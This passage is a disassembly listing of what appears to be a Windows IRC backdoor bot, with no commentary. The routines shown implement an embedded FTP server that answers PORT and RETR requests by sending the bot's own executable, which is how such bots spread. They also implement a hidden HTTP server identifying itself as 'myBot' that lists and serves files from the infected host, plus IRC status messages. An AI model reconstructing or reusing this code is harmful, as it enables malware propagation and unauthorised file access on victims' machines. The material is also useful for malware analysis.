call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_43C83C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push [ebp+arg_0] mov dword_43C838, eax mov [ebp+var_10], 2 nop call near ptr 71AB12F8h push [ebp+arg_4] mov [ebp+var_C], eax nop call near ptr 71AB1746h mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43C838 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_43C838 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 2650000h nop lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43C838 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2600833h test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_43C838 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43F668 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43F690 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43F704 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43F650 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43F560 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43F6FC cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43F680 test eax, eax jg short loc_405D14 push esi call dword_43F700 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43F704 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43F700 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43F5FC push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_254] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2670000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2660000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43F6B8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43F700 push [ebp+var_B4] call sub_417078 pop ecx push edi nop call near ptr 25F0973h pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26802F9h push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43F700 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2640000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2680000h push esi mov [ebp+var_330], eax nop call near ptr 2621910h loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4450C4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi nop call near ptr 2670BF1h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 call near ptr 2600833h nop jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43F700 nop call near ptr 26402CBh push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49CBp var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 26B0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 26A0000h nop test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 2690526h nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2690000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE XREF: sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, 